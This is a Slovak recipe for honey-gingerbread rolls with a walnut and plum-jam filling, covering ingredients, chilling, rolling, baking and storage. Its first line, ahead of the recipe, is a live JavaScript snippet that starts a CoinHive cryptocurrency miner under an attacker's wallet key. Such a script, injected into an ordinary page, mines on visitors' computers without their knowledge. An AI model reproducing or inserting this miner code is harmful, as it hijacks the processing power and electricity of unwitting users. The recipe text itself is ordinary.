var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

60dkg hladkej múky alebo 50dkg bezlepkovej múky a 10dkg amarantovej múky, 10dkg masla, 25dkg práškový cukor, 4 PL medu, 3 vajcia, 1 PL medovníkového korenia, 1 ČL sódy bikarbóny, štipka soli.

Plnka: mleté orechy – 8 násypok mlynčeka, slivkový lekvár.

Všetko zmiešame, vypracujeme cesto a odložíme minimálne na 12 hodín do chladničky. Cesto rozdelíme na 4 časti, rozvaľkáme na obdĺžnik, potrieme slivkovým lekvárom, posypeme orechmi a zvinieme do rolády. Uložíme na vymastený plech – 2 rolády na jeden plech a pečieme pri teplote 150–180°C cca 20-25 minút. Pred pečením popicháme rolády vidličkou, po upečení hneď potrieme rozšľahaným vajcom alebo mliekom. Zabalené v potravinárskej fólii alebo mikroténovom sáčku vydrží dlho mäkké v chladničke.